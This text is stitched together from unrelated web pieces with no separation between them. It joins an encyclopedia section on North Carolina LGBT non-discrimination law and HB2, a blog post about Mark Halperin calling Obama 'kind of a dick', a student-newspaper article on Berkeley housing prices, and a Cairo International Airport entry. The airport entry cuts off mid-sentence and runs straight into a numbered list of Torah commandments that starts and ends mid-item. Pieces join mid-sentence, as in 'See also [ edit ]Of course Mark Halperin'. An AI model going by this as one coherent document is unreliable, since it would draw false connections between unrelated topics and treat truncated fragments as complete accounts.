Appalachian State University, Fayetteville State University, North Carolina Agricultural and Technical State University, North Carolina Central University, North Carolina State University, University of North Carolina at Asheville, University of North Carolina at Chapel Hill, University of North Carolina at Charlotte, University of North Carolina at Greensboro, and University of North Carolina at Pembroke have established non-discrimination policies that cover sexual orientation and gender identity in employment and admissions.[citation needed] East Carolina University, University of North Carolina at Wilmington, University of North Carolina School of the Arts, Western Carolina University, and Winston-Salem State University have established non-discrimination policies that cover sexual orientation in employment and admissions.[citation needed] Elizabeth City State University is the only public university in North Carolina that has not established a non-discrimination policy in respect to either sexual orientation or gender identity for employees or students.
The North Carolina Housing Finance Agency has a policy which provides "all employees and applicants for employment with equal employment opportunities, without regard to race, color, religion, creed, gender, sexual orientation, national origin, age, disability, political affiliation, or any other protected status".[42][needs update]
On June 26, 2014, the North Carolina House of Representatives passed by a 115–0 vote for an amendment to bill that prohibits discrimination in charter schools on the basis of any "category protected under the United States Constitution or under federal law applicable to the states." The amendment was later removed in the North Carolina State Senate and not included in the final bill signed into law.[43][44][45]
On April 12, 2016, North Carolina Governor Pat McCrory signed an Executive Order outlawing LGBT discrimination in any public employment within the state,[46] though it did not impact the controversial HB2 legislation.[47] In October 2017, Governor Roy Cooper extended this discrimination protection to businesses that contract with the state.[48][49]
Public Facilities Privacy & Security Act [ edit ]
Passed in March 2016, the law also known as "HB2" prevents local governments from enacting policies contrary to state law in regards to hiring and use of bathroom facilities, and requires all people to use the bathroom of the gender listed on the person's birth certificate. The portion of the law regarding bathroom use based on gender at birth was repealed by the state legislature on March 30, 2017, and signed into law by North Carolina Governor Roy Cooper the very same day.[50]
House Bill 142 [ edit ]
Hate crime law [ edit ]
North Carolina's hate crime statute does not cover sexual orientation or gender identity.[51]
See also [ edit ]Of course Mark Halperin should not be fired for saying on MSNBC that President Obama had been "kind of a dick" when sounding angry at Republicans during his press conference yesterday. I say that notwithstanding the certainty that if some other "mainstream" journalist had said the same about George W. Bush on MSNBC or CNN, the outrage would never have been allowed to ebb on Fox and the Limbaugh show. (Angry Obama picture yesterday, via CBS)
The real problem is the dickishness of our mainstream political analysis, especially from the "savviest" practitioners. Back during my days as media critic, I argued in Breaking the News and a related Atlantic cover story that the laziest and ultimately most destructive form of political coverage came when journalists seemed to imagine that they were theater critics or figure-skating judges. The what of public affairs didn't interest them. All they cared about was the how.
In this case, the "what" of Obama's press conference -- the unbelievable recklessness of mainly House Republicans in inviting the largest self-inflicted economic wound in American history -- deserves every bit of frustration Obama showed, and lots more. In the long run we'll have some sense of whether Obama's typical surreal unflappability, whatever its origins (I have my theories, but for another time), was the wisest long-term response to today's Republican party -- and whether this unusual flash of emotion worked in directing public attention to a looming and entirely unnecessary blow to America's wellbeing.Amid a growing housing affordability crisis across California, Berkeley topped SFGate’s list of the most expensive college towns in the country.
The list ranks the top five most expensive college towns and the top five cheapest in the country. According to realtor.com, a real estate listings website, Berkeley holds a median home closing price of $1.1 million, in contrast to the cheapest college towns named by SFGate, with California, a city in Pennsylvania, at $77,000 and Pittsburg, a city in Kansas, at $86,000. SFGate’s ranking is based on college towns where 20 percent of the population is enrolled in a university and is composed more than 2,000 students.
Berkeley has a population of 30.5 percent students. Berkeley tops the list among the other most expensive college towns, followed by Santa Cruz, Cambridge, Boulder and Princeton.
For campus associate professor of city and regional planning Malo Hutson, the reason for Berkeley’s status as such an expensive location rests on the lack of housing available in the area, which is tied to the larger statewide housing shortage.
“We don’t have enough housing, and then you compound (that) with a world-class university, which means all the researchers, all the students, all the people related with the university, and that creates greater demand to be closer to campus,” Hutson said.
According to campus William W. Wurster Dean and professor of city and regional planning Jennifer Wolch, the entire Bay Area housing market stands as one of the most expensive in the country, which has in part been fueled by immense growth in the area, especially in the tech industry.
“There are a lot of people who are looking for housing, and the pace of construction of affordable housing, especially, has not kept up with demand,” Wolch said.
A number of elected officials have aimed to address the lack of affordable housing in Berkeley in recent months, with state officials introducing legislation in June to allow for the creation of affordable housing statewide.
A higher population of incoming freshman and transfer students arriving on campus has also put greater pressure on the city’s housing market, Wolch said.
“I think that’s why the campus is trying to build more student housing,” Hutson said, “(to) hopefully alleviate some of the pressure in the private, rental market for housing.”
Sydney Fix is the lead schools and communities reporter. Contact her at [email protected] and follow her on Twitter at @sydney_fix."Payne Airfield" redirects here. For the former airfield in Mississippi, see Payne Field
Cairo International Airport (IATA: CAI, ICAO: HECA) (Arabic: مطار القاهرة الدولي; Maṭār El Qāhira El Dawly) is the international airport of Cairo and the busiest airport in Egypt and serves as the primary hub for EgyptAir, EgyptAir Express and Nile Air as well as several other airlines. The airport is located in Heliopolis, to the northeast of the Cairo around 15 kilometres (9.3 mi) from the business area of the city and has an area of approximately 37 square kilometres (14 sq mi). It is the second busiest airport in Africa after OR Tambo International Airport in Johannesburg.
History [ edit ]
During World War II, the United States Army Air Forces built Payne Airfield to serve the Allied Forces, rather than take over the existing Almaza Airport located 5 kilometres (3.1 mi) away. Payne Field was a major Air Transport Command air cargo and passenger hub, connecting westwards through Benghazi Airport (during the war known as Soluch Airfield) to Algiers airport on the North African route to Dakar Airport, in French West Africa.
Other locations which transport routes were flown were RAF Habbaniya, Iraq on the Cairo – Karachi, India route; Lydda Airport, BritishPalestine; Jeddah, Arabia, on the Central African route to Roberts Field, Liberia (1941–1943), and later after the war ended, Athens, Greece and on to destinations in Europe.[5]
When American forces left the base at the end of the war, the Civil Aviation Authority took over the facility and began using it for international civil aviation. In 1963, Cairo International Airport replaced the old Heliopolis Airport, which had been located at the Hike-Step area in the east of Cairo.[6]
The airport is administered by the Egyptian Holding Company for Airports and Air Navigation, which controls the Cairo Airport Company, the Egyptian Airports Company, National Air Navigation Services and Aviation Information Technology, and the Cairo Airport Authority. In 2004, Fraport AG won the management contract to run the airport for eight years, with options to extend the contract twice in one year increments.[7]
Terminals [ edit ]
The terminal facilities include Departure Hall 1, International Hall 3, and Hall 4 for private and non-commercial aircraft services. As part of the recent upgrading and facility improvement scheme, the CAA demolished the old Hall 3, previously used for domestic arrivals and departures, to reconstruct a new hall to be used for international arrivals. Terminal 1 is locally known as the "Old Airport," although its facilities were recently given a complete overhaul and are newer than those of Terminal 2, which is still known as the "New Airport."
Terminal 1 [ edit ]
Departures area at Terminal 1
Terminal 1 was originally used by EgyptAir and several Middle Eastern airlines. However, an increasing number of other foreign carriers, such as Air France and KLM transferred operations from Terminal 2 in 2006. In May 2009 EgyptAir moved all its operations to the new Terminal 3 (along with all Star Alliance airlines serving the airport). In March 2010, with the closure of Terminal 2 for major renovation works, all non-Star Alliance airlines serving the airport shifted operations to the terminal.
Departures and arrivals are with all airlines departing from Terminal 1 Hall 1, with the exception Saudia which is the sole tenant of Terminal 1 Hall 2 due to the size of their operations (SV accounted for 65% of Terminal 2's traffic in 2009). Most international airlines arrive in Hall 3. Arrival Hall 2 was recently reopened and serves international and domestic arrivals.
The CAC has inaugurated the "Airport City Concept" to provide an array of services and entertainment facilities to travelers, airport visitors, as well as the general public. The first phase, a new shopping mall called the 'AirMall,' has been built near Terminal 1's International Arrival Hall 3.
As of 2009 the facade of the terminal was being upgraded. A study on reorganizing the departure and arrival halls is ongoing as well as the feasibility study to include contact stands to improve the service and comfort levels to the passengers. Terminal 1 has 12 gates.
Hall 4 [ edit ]
Terminal 1, Hall 4 is dedicated to private and executive jet services. Even though it is referred to as a 'Hall' under Terminal 1 it is operated independently from the commercial passenger terminal.[citation needed]
Smart Aviation Company has been based at the building since 2007; it moved to a new executive FBO in 2010 adjacent to Hall 4.
Terminal 2 [ edit ]
Apron view
Terminal 2 was inaugurated in 1986 with 7 boarding gates.[8] It primarily served European, Gulf and East Asian airlines. The terminal was closed in April 2010 for complete renovations starting in 2012 and lasting 36 months. The architecture of the building limited the opportunities for further expansion which necessitated the entire building to be closed for major structural overhaul at an estimated cost of approximately $400 million.
In February 2010 the World Bank's Board of Executive Directors approved a loan amount of $387 million to support the Cairo Airport Development Project (CADP) to overhaul the terminal with national banks providing the rest. The project aimed at increasing the terminal capacity from 3 million to 7.5 million passengers annually. The upgrade included the complete modernisation of the 20-year-old facility to reach the same level of service as the new Terminal 3. In August 2011, Turkey's Limak Holding won the tender for modernising the terminal.
After several project delays, the renovated terminal had its soft opening on 28 September 2016 with a capacity of 7.5 million passengers bringing the airport's total passenger capacity to 30 million passengers annually. The new terminal has 14 gates and an additional 5 remote stands.
During February 2017, Saudi Arabian Airlines launched its first international "Al-Fursan lounge" at Cairo International Airport Terminal 2. The 1,500 square-meter lounge can accommodate 300 people at a time.
The renovated terminal is operating jointly with Terminal 3 as one integrated terminal via an air bridge, thus, reinforcing the role of Cairo International Airport as a regional hub.
Terminal 3 [ edit ]
Nile Air Airbus A320 Special'Egypt Tourism' Livery at Cairo International Airport (June 2016)
Aerial overview
Given projected growth, and the limited ability to expand Terminal 2, the Egyptian Ministry of Civil Aviation began construction of Terminal 3 in 2004. The terminal was officially inaugurated by the former Egyptian President Hosni Mubarak on 18 December 2008 and opened for commercial operations on 27 April 2009. The facility is twice as large as the current two terminal buildings combined, with the capacity to handle 11 million passengers annually (6 million international and 5 million domestic) once the first phase is completed. It is adjacent to Terminal 2, and the two terminals are initially connected by a bridge.
With its hub at the airport, EgyptAir's operations were overhauled with the full transfer of its operations (international and domestic) into the new terminal between 27 April and 15 June 2009. To implement the Star Alliance "Move Under One Roof" concept, all Alliance members serving the airport were relocated to the terminal by the first of August 2009.
The new terminal includes:
Two piers of extendable capacity and gates facilities serving domestic and international traffic on contact and remote stands. The main building and the piers are connected by concourses. Two of the gates are equipped to handle Airbus A380 aircraft. Provisions for a third pier are in the planning stages.
Terminal 3 has 23 gates (2 gates for the A380), 6 check-in islands consisting of 110 check-in counters (plus 10 mobile counters and 10 CUSS kiosks), 76 immigration counters (plus 5 biometric gates), 52 contact and remote aircraft parking stands (5 with multiple use), 425 FIDS, 15 public information points, 7 baggage carousels, 63 elevators, 50 moving walkways and 51 escalators.
Retails space covers more than 5,000m 2 (4.034m 2 occupied by EgyptAir Tourism & Duty Free Shops).
(4.034m occupied by EgyptAir Tourism & Duty Free Shops). International food court with Oriental, Asian and Western food (incl. Burger King, Hippopotamus, Upper Crust).
Land side roads including bridges and fly-over serving the traffic to and from the terminal building, surface car park areas (multi-story parking garage capable of holding more than 3,000 cars), a new access road connecting the airport with the Autostrad road (Cairo ring road) and upgrading the access roads.
Seasonal flight terminal [ edit ]
On 20 September 2011 Prime Minister Sharaf inaugurated the new Seasonal Flights Terminal (ST), located west of Terminal 3. During the start-up phase EgyptAir operates its daily flight to Medina from the new Terminal. All Hajj traffic of EgyptAir will move to the ST while Saudia's Hajj flights will still operate from Terminal 1. More destinations might be added during winter.
The terminal has an annual capacity of 3.2 million passengers with 27 check-in counters and 7 gates with a common gate and single security concept, the first in Cairo. It is designed to handle 1,200 passengers per hour. Passengers will be bussed to remote aircraft stands around Terminal 3. Its purpose is to ease operational strains on the existing terminals during pilgrim seasons.[9]
Facilities [ edit ]
Overview [ edit ]
The airport has four terminals, the third (and largest) opened on 27 April 2009 and the Seasonal Flights Terminal opened on 20 September 2011. Terminal 2 was closed in April 2010 for major renovation works and was reopened on 28 September 2016. A third parallel runway replaced the crossing runway in 2010.[10] Runway 05L/23R is 3,301 metres (10,830 ft) long, 05C/23C has a length of 4,000 metres (13,000 ft), and the new runway is designated as 05R/23L and is 3,999 metres (13,120 ft).
Terminal Transfer [ edit ]
The MiniMetro people mover links Terminal 1, the AirMall, the multi-storey car park and Terminals 2 and 3. The main station is located between Terminals 2 and 3 and is an integral part of the bridge connecting the two terminals. An air-cushioned 1.85 km (1.15 mi) system with top speed 50 km/h (31 mph) was designed and constructed by Leitner-Poma.[11][12]
Airport Hotel [ edit ]
A luxury 350-room five-star Le Méridien hotel opened in front of Terminal 3 in December 2013. The hotel is linked to the terminal by a 230-metre-long (750 ft) skyway that is also equipped with a moving walkway.
Future developments [ edit ]
With the national carrier, EgyptAir, and the Egyptian authorities planning to develop the airport as a hub for the Middle East and Africa, the airport facilities are in constant development.
Several projects are underway, including:
Construction of a multi-storey car park located near Terminal 3.
Continued upgrade of the land-side façade of Terminal 1.
The Cairo Cargo City (CCC) will provide facilities to support the growth in cargo traffic through the airport.
Expanding the Cairo Metro to serve the airport. The new line, Line 3, which is in an advanced stage of execution, will link Greater Cairo from east to west with the airport at one end, and Mohandessin district at the other. It is expected to be fully operational by 2019. [ needs update ]
Development of real estate and the 'Oasis Project' which entails a business park with company headquarters and regional offices.
which entails a business park with company headquarters and regional offices. Construction of 'Aerocity', a family leisure park to be built within the airport's investment zone. With an area of 3 square kilometres (1.2 sq mi), the enterprise should cost 1 billion Egyptian pounds (US$183 million) and will be carried out in two phases. The first phase will consist of the building of a business centre, and the second, of an entertainment park following the guidelines of Disney World, in the United States. There will also be parks, artificial lake, game courts, a water park, 18 cinemas and several restaurants. This will be a new feature of Cairo Airport and forms part of the long-term development and modernization plan.
Airlines and destinations [ edit ]
Passenger [ edit ]
Cargo [ edit ]
Ground transport [ edit ]
Limousines and shuttle buses [ edit ]
There are several ways to leave Cairo airport upon arrival. The most convenient way is by one of the numerous "limousine services". Pick-up points are in front of the terminals (curb side). The prices are fixed depending on the destination and the car category, but different providers may charge wildly different prices. Category A are luxury limousines (e.g. Mercedes-Benz E-Class), Category B are Micro Buses for up to seven passengers, Category C are midsized cars (e.g. Mitsubishi Lancer) and new Category D are London Taxis.[42]
Public transport [ edit ]
Public buses leave outside terminal 1 and connect frequently to transportation hubs like Abbasia and Tahrir Square but can be confusing for visitors and are not suitable for persons carrying large pieces of baggage. Line 3 of the Cairo Metro will connect the airport to Heliopolis, Central Cairo and Giza in the future. Intercity buses leave from the bus station located in |
0 The widow must not remarry until the ties with her brother-in-laware removed Deut. 25:5Laws of Women131 The court must fine one who seduces a maiden Ex. 22:15-16132 The rapist must marry the maiden (if she chooses) Deut. 22:29133 He is not allowed to divorce her Deut. 22:29134 The slanderer must remain married to his wife Deut. 22:19135 He must not divorce her Deut. 22:19Laws of Sotah (Suspect Wife)136 To fulfill the laws of the Sotah Num. 5:30137 Not to put oil on her meal offering Num. 5:15138 Not to put frankincense on her meal offering Num. 5:15Laws of Forbidden Relations139 Not to have relations with your mother Lev. 18:7140 Not to have relations with your father's wife Lev. 18:8141 Not to have relations with your sister Lev. 18:9142 Not to have relations with your father's wife's daughter Lev. 18:11143 Not to have relations with your son's daughter Lev. 18:10144 Not to have relations with your daughter Lev. 18:10145 Not to have relations with your daughter's daughter Lev. 18:10146 Not to have relations with a woman and her daughter Lev. 18:17147 Not to have relations with a woman and her son's daughter Lev. 18:17148 Not to have relations with a woman and her daughter's daughter Lev. 18:17149 Not to have relations with your father's sister Lev. 18:12150 Not to have relations with your mother's sister Lev. 18:13151 Not to have relations with your father's brother's wife Lev. 18:14152 Not to have relations with your son's wife Lev. 18:15153 Not to have relations with your brother's wife Lev. 18:16154 Not to have relations with your wife's sister Lev. 18:18155 A man must not have relations with a beast Lev. 18:23156 A woman must not have relations with a beast Lev. 18:23157 Not to have homosexual relations Lev. 18:22158 Not to have homosexual relations with your father Lev. 18:7159 Not to have homosexual relations with your father's brother Lev. 18:14160 Not to have relations with a married woman Lev. 18:20161 Not to have relations with a menstrually impure woman Lev. 18:19162 Not to marry non-Jews Deut. 7:3163 Not to let Moabite and Ammonite males marry into the Jewish people Deut. 23:4164 Don't keep a third generation Egyptian convert from marrying into the Jewish people Deut. 23:8-9165 Not to refrain from marrying a third generation Edomite convert Deut. 23:8-9166 Not to let a mamzer marry into the Jewish people Deut. 23:3167 Not to let a eunuch marry into the Jewish people Deut. 23:2168 Not to castrate any male (including animals) Lev. 22:24169 The High Priest must not marry a widow Lev. 21:14170 The High Priest must not have relations with a widow even outside of marriage Lev. 21:15171 The High Priest must marry a virgin maiden Lev. 21:13172 A Kohen must not marry a divorcee Lev. 21:7173 A Kohen must not marry a zonah (a woman who had forbidden relations) Lev. 21:7174 A priest must not marry a chalalah (party to or product of 169-172) Lev. 21:7175 Not to make pleasurable contact with any forbidden woman Lev. 18:6Laws of Forbidden Foods176 To examine the signs of animals to distinguish between kosher and non-kosher Lev. 11:2177 To examine the signs of fowl to distinguish between kosher and non-kosher Deut. 14:11178 To examine the signs of fish to distinguish between kosher and non-kosher Lev. 11:9179 To examine the signs of locusts to distinguish between kosher and non-kosher Lev. 11:21180 Not to eat non-kosher animals Lev. 11:4181 Not to eat non-kosher fowl Lev. 11:13182 Not to eat non-kosher fish Lev. 11:11183 Not to eat non-kosher flying insects Deut. 14:19184 Not to eat non-kosher creatures that crawl on land Lev. 11:41185 Not to eat non-kosher maggots Lev. 11:44186 Not to eat worms found in fruit on the ground Lev. 11:42187 Not to eat creatures that live in water other than fish Lev. 11:43188 Not to eat the meat of an animal that died without ritual slaughter Deut. 14:21189 Not to benefit from an ox condemned to be stoned Ex. 21:28190 Not to eat meat of an animal that was mortally wounded Ex. 22:30191 Not to eat a limb torn off a living creature Deut 12:23192 Not to eat blood Lev. 3:17193 Not to eat certain fats of clean animals Lev. 3:17194 Not to eat the sinew of the thigh Gen. 32:33195 Not to eat meat and milk cooked together Ex. 23:19196 Not to cook meat and milk together Ex. 34:26197 Not to eat bread from new grain before the Omer Lev. 23:14198 Not to eat parched grains from new grain before the Omer Lev. 23:14199 Not to eat ripened grains from new grain before the Omer Lev. 23:14200 Not to eat fruit of a tree during its first three years Lev. 19:23201 Not to eat diverse seeds planted in a vineyard Deut. 22:9202 Not to eat untithed fruits Lev. 22:15203 Not to drink wine poured in service to idols Deut. 32:38Laws of Slaughtering204 To ritually slaughter an animal before eating it Deut. 12:21205 Not to slaughter an animal and its offspring on the same day Lev. 22:28206 To cover the blood (of a slaughtered beast or fowl) with earth Lev. 17:13207 Not to take the mother bird from her children Deut. 22:6208 To release the mother bird if she was taken from the nest Deut. 22:7Laws of Oaths209 Not to swear falsely in God's Name Lev. 19:12210 Not to take God's Name in vain Ex. 20:7211 Not to deny possession of something entrusted to you Lev. 19:11212 Not to swear in denial of a monetary claim Lev. 19:11213 To swear in God's Name to confirm the truth when deemed necessary by court Deut. 10:20Laws of Vows214 To fulfill what was uttered and to do what was avowed Deut. 23:24215 Not to break oaths or vows Num. 30:3216 For oaths and vows annulled, there are the laws of annulling vows explicit in the Torah Num. 30:3Laws of The Nazir217 The Nazir must let his hair grow Num. 6:5218 He must not cut his hair Num. 6:5219 He must not drink wine, wine mixtures, or wine vinegar Num. 6:3220 He must not eat fresh grapes Num. 6:3221 He must not eat raisins Num. 6:3222 He must not eat grape seeds Num. 6:4223 He must not eat grape skins Num. 6:4224 He must not be under the same roof as a corpse Num. 6:6225 He must not come into contact with the dead Num. 6:7226 He must shave after bringing sacrifices upon completion of his Nazirite period Num. 6:9Laws of Estimated Values and Vows227 To estimate the value of people as determined by the Torah Lev. 27:2228 To estimate the value of consecrated animals Lev. 27:12-13229 To estimate the value of consecrated houses Lev. 27:14230 To estimate the value of consecrated fields Lev. 27:16231 Carry out the laws of interdicting possessions (cherem) Lev. 27:28232 Not to sell the cherem Lev. 27:28233 Not to redeem the cherem Lev. 27:28Laws of Mixed Species234 Not to plant diverse seeds together Lev. 19:19235 Not to plant grains or greens in a vineyard Deut. 22:9236 Not to crossbreed animals Lev. 19:19237 Not to work different animals together Deut. 22:10238 Not to wear sha'atnez, a cloth woven of wool and linen Deut. 22:11Laws of Gifts to the Poor239 To leave a corner of the field uncut for the poor Lev. 19:10240 Not to reap that corner Lev. 19:9241 To leave gleanings Lev. 19:9242 Not to gather the gleanings Lev. 19:9243 To leave the gleanings of a vineyard Lev. 19:10244 Not to gather the gleanings of a vineyard Lev. 19:10245 To leave the unformed clusters of grapes Lev. 19:10246 Not to pick the unformed clusters of grapes Lev. 19:10247 To leave the forgotten sheaves in the field Deut. 24:19248 Not to retrieve them Deut. 24:19249 To separate the tithe for the poor Deut. 14:28250 To give charity Deut. 15:8251 Not to withhold charity from the poor Deut. 15:7252 To set aside Trumah Gedolah (tithe for the Kohen) Deut. 18:4253 The Levite must set aside a tenth of his tithe Num. 18:26254 Not to preface one tithe to the next, but separate them in their proper order Ex. 22:28255 A non-Kohen must not eat Trumah Lev. 22:10256 A hired worker or a Jewish bondsman of a Kohen must not eat Trumah Lev. 22:10257 An uncircumcised Kohen must not eat Trumah Ex.12:48258 An impure Kohen must not eat Trumah Lev. 22:4259 A chalalah must not eat Trumah Lev. 22:12Laws of Ma'aser260 To set aside Ma'aser each planting year and give it to a Levite Num. 18:24Laws of The Second Tithe and Fourth Year Produce261 To set aside the second tithe (Ma'aser Sheni) Deut. 14:22262 Not to spend its redemption money on anything but food, drink, or ointment Deut. 26:14263 Not to eat Ma'aser Sheni while impure Deut. 26:14264 A mourner on the first day after death must not eat Ma'aser Sheni Deut. 26:14265 Not to eat Ma'aser Sheni grains outside Jerusalem Deut. 12:17266 Not to eat Ma'aser Sheni wine products outside Jerusalem Deut. 12:17267 Not to eat Ma'aser Sheni oil outside Jerusalem Deut. 12:17268 The fourth year crops must be totally for holy purposes like Ma'aser Sheni Lev. 19:24269 To read the confession of tithes every fourth and seventh year Deut. 26:13Laws of First Fruits and other Kohanic Gifts270 To set aside the first fruits and bring them to the Temple Ex. 23:19271 The Kohanim must not eat the first fruits outside Jerusalem Deut. 12:17272 To read the Torah portion pertaining to their presentation Deut. 26:5273 To set aside a portion of dough for a Kohen Num. 15:20274 To give the shoulder, two cheeks, and stomach of slaughtered animals to a Kohen Deut. 18:3275 To give the first sheering of sheep to a Kohen Deut. 18:4276 To redeem the firstborn sons and give the money to a Kohen Num. 18:15277 To redeem the firstborn donkey by giving a lamb to a Kohen Ex. 13:13278 To break the neck of the donkey if the owner does not intend to redeem it Ex. 13:13Laws of The Sabbatical and Jubilee Years279 To rest the land during the seventh year by not doing any work which enhances growth Ex. 34:21280 Not to work the land during the seventh year Lev. 25:4281 Not to work with trees to produce fruit during that year Lev. 25:4282 Not to reap crops that grow wild that year in the normal manner Lev. 25:5283 Not to gather grapes which grow wild that year in the normal way Lev. 25:5284 To leave free all produce which grew in that year Ex. 23:11285 To release all loans during the seventh year Deut. 15:2286 Not to pressure or claim from the borrower Deut. 15:2287 Not to refrain from lending immediately before the release of the loans for fear of monetary loss Deut. 15:9288 The Sanhedrin must count seven groups of seven years Lev. 25:8289 The Sanhedrin must sanctify the fiftieth year Lev. 25:10290 To blow the Shofar on the tenth of Tishrei to free the slaves Lev. 25:9291 Not to work the soil during the fiftieth year Lev. 25:11292 Not to reap in the normal manner that which grows wild in the fiftieth year Lev. 25:11293 Not to pick grapes which grew wild in the normal manner in the fiftieth year Lev. 25:11294 Carry out the laws of sold family properties Lev. 25:24295 Not to sell the land in Israel indefinitely Lev. 25:23296 Carry out the laws of houses in walled cities Lev. 25:29297 The Tribe of Levi must not be given a portion of the land in Israel, rather they are given cities to dwell in Deut. 18:1298 The Levites must not take a share in the spoils of war Deut. 18:1299 To give the Levites cities to inhabit and their surrounding fields Num. 35:2300 Not to sell the fields but they shall remain the Levites' before and after the Jubilee year Lev. 25:34Laws of The Temple301 To build a Sanctuary Ex. 25:8302 Not to build the altar with stones hewn by metal Ex. 20:22303 Not to climb steps to the altar Ex. 20:23304 To show reverence to the Temple Lev. 1930305 To guard the Temple area Num. 18:2306 Not to leave the Temple unguarded Num. 18:5Laws of Temple Vessels and Employees307 To prepare the anointing oil Ex. 30:31308 Not to reproduce the anointing oil Ex. 30:32309 Not to anoint with anointing oil Ex. 30:32310 Not to reproduce the incense formula Ex. 30:37311 Not to burn anything on the Golden Altar besides incense Ex. 30:9312 The Levites must transport the ark on their shoulders Num. 7:9313 Not to remove the staves from the ark Ex. 25:15314 The Levites must work in the Temple Num. 18:23315 No Levite must do another's work of either a Kohen or a Levite Num. 18:3316 To dedicate the Kohen for service Lev. 21:8317 The kohanic work shifts must be equal during holidays Deut. 18:6-8318 The Kohanim must wear their priestly garments during service Ex. 28:2319 Not to tear the priestly garments Ex. 28:32320 The breastplate must not be loosened from the Efode Ex. 28:28Laws of Entering the Temple321 A Kohen must not enter the Temple intoxicated Lev. 10:9322 A Kohen must not enter the Temple with long hair Lev. 10:6323 A Kohen must not enter the Temple with torn clothes Lev. 10:6324 A Kohen must not enter the Temple indiscriminately Lev. 16:2325 A Kohen must not leave the Temple during service Lev. 10:7326 To send the impure from the Temple Num. 5:2327 Impure people must not enter the Temple Num. 5:3328 Impure people must not enter the Temple Mount area Deut. 23:11329 Impure Kohanim must not do service in the temple Lev. 22:2330 An impure Kohen, following immersion, must wait until after sundown before returning to service Lev. 22:7331 A Kohen must wash his hands and feet before service Ex. 30:19332 A Kohen with a physical blemish must not enter the sanctuary or approach the altar Lev. 21:23333 A Kohen with a physical blemish must not serve Lev.21:17334 A Kohen with a temporary blemish must not serve Lev. 21:17335 One who is not a Kohen must not serve Num. 18:4Laws of Restrictions Concerning Sacrifices336 To offer only unblemished animals Lev. 22:21337 Not to dedicate a blemished animal for the altar Lev. 22:20338 Not to slaughter it Lev. 22:22339 Not to sprinkle its blood Lev. 22:24340 Not to burn its fat Lev. 22:22341 Not to offer a temporarily blemished animal Deut. 17:1342 Not to sacrifice blemished animals even if offered by non-Jews Lev. 22:25343 Not to inflict wounds upon dedicated animals Lev. 22:21344 To redeem dedicated animals which have become disqualified Deut. 12:15345 To offer only animals which are at least eight days old Lev. 22:27346 Not to offer animals bought with the wages of a harlot or the animal exchanged for a dog Deut. 23:19347 Not to burn honey or yeast on the altar Lev. 2:11348 To salt all sacrifices Lev. 2:13349 Not to omit the salt from sacrifices Lev. 2:13Laws of Sacrificial Procedure350 Carry out the procedure of the burnt offering as prescribed in the Torah Lev. 1:3351 Not to eat its meat Deut. 12:17352 Carry out the procedure of the sin offering Lev. 6:18353 Not to eat the meat of the inner sin offering Lev. 6:23354 Not to decapitate a fowl brought as a sin offering Lev. 5:8355 Carry out the procedure of the guilt offering Lev. 7:1356 The Kohanim must eat the sacrificial meat in the Temple Ex. 29:33357 The Kohanim must not eat the meat outside the Temple courtyard Deut. 12:17358 A non-Kohen must not eat sacrificial meat Ex. 29:33359 To follow the procedure of the peace offering Lev. 7:11360 Not to eat the meat of minor sacrifices before sprinkling the blood Deut. 12:17361 To bring meal offerings as prescribed in the Torah Lev. 2:1362 Not to put oil on the meal offerings of wrongdoers Lev. 5:11363 Not to put frankincense on the meal offerings of wrongdoers Lev. 3:11364 Not to eat the meal offering of the High Priest Lev. 6:16365 Not to bake a meal offering as leavened bread Lev. 6:10366 The Kohanim must eat the remains of the meal offerings Lev. 6:9367 To bring all avowed and freewill offerings to the Temple on the first subsequent festival Deut. 12:5-6368 Not to withhold payment incurred by any vow Deut. 23:22369 To offer all sacrifices in the Temple Deut. 12:11370 To bring all sacrifices from outside Israel to the Temple Deut. 12:26371 Not to slaughter sacrifices outside the courtyard Lev. 17:4372 Not to offer any sacrifices outside the courtyard Deut. 12:13Laws of Constant and Additional Offerings373 To offer two lambs every day Num. 28:3374 To light a fire on the altar every day Lev. 6:6375 Not to extinguish this fire Lev. 6:6376 To remove the ashes from the altar every day Lev. 6:3377 To burn incense every day Ex 30:7378 To light the Menorah every day Ex. 27:21379 The Kohen Gadol must bring a meal offering every day Lev. 6:13380 To bring two additional lambs as burnt offerings on Shabbat Num 28:9381 To make the show bread Ex. 25:30382 To bring additional offerings on the New Month Num. 28:11383 To bring additional offerings on Passover Num. 28:19384 To offer the wave offering from the meal of the new wheat Lev. 23:10385 Each man must count the Omer - seven weeks from the day the new wheat offering was brought Lev. 23:15386 To bring additional offerings on Shavuot Num. 28:26387 To bring two leaves to accompany the above sacrifice Lev. 23:17388 To bring additional offerings on Rosh Hashana Num. 29:2389 To bring additional offerings on Yom Kippur Num. 29:8390 To bring additional offerings on Sukkot Num. 29:13391 To bring additional offerings on Shmini Atzeret Num. 29:35Laws of Disqualified Offerings392 Not to eat sacrifices which have become unfit or blemished Deut. 14.3393 Not to eat from sacrifices offered with improper intentions Lev. 7:18394 Not to leave sacrifices past the time allowed for eating them Lev. 22:30395 Not to eat from that which was left over Lev. 19:8396 Not to eat from sacrifices which became impure Lev. 7:19397 An impure person must not eat from sacrifices Lev. 7:20398 To burn the leftover sacrifices Lev. 7:17399 To burn all impure sacrifices Lev. 7:19Laws of Yom Kippur Service400 To follow the procedure of Yom Kippur in the sequence prescribed in Parshat Acharei Mot Lev. 16:3Laws of Misusing Sanctified Property401 One who profaned property must repay what he profaned plus a fifth and bring a sacrifice Lev. 5:16402 Not to work consecrated animals Deut. 15:19403 Not to shear the fleece of consecrated animals Deut. 15:19Laws of Pascal Sacrifice404 To slaughter the paschal sacrifice at the specified time Ex. 12:6405 Not to slaughter it while in possession of leaven Ex. 23:18406 Not to leave the fat overnight Ex. 23:18407 To slaughter the second paschal lamb Num. 9:11408 To eat the paschal lamb with matzah and Marror on the night of the 15th of Nissan Ex. 12:8409 To eat the second paschal lamb on the night of the 15th of Iyar Num.9:11410 Not to eat the paschal meat raw or boiled Ex. 12:9411 Not to take the paschal meat from the confines of the group Ex. 12:46412 An apostate must not eat from it Ex.12:43413 A permanent or temporary hired worker must not eat from it Ex. 12:45414 An uncircumcised male must not eat from it Ex. 12:48415 Not to break any bones from the paschal offering Ex. 12:46416 Not to break any bones from the second paschal offering Num. 9:12417 Not to leave any meat from the paschal offering over until morning Ex. 12:10418 Not to leave the second paschal meat over until morning Num. 9:12419 Not to leave the meat of the holiday offering of the 14th until the 16th Deut. 16:4Laws of Pilgrim Offerings420 To be seen at the Temple on Passover, Shavuot, and Sukkot Deut. 16:16421 To celebrate on these three Festivals (bring a peace offering) Ex. 23:14422 To rejoice on these three Festivals (bring a peace offering) Deut. 16:14423 Not to appear at the Temple without offerings Deut. 16:16424 Not to refrain from rejoicing with, and giving gifts to, the Levites Deut. 12:19425 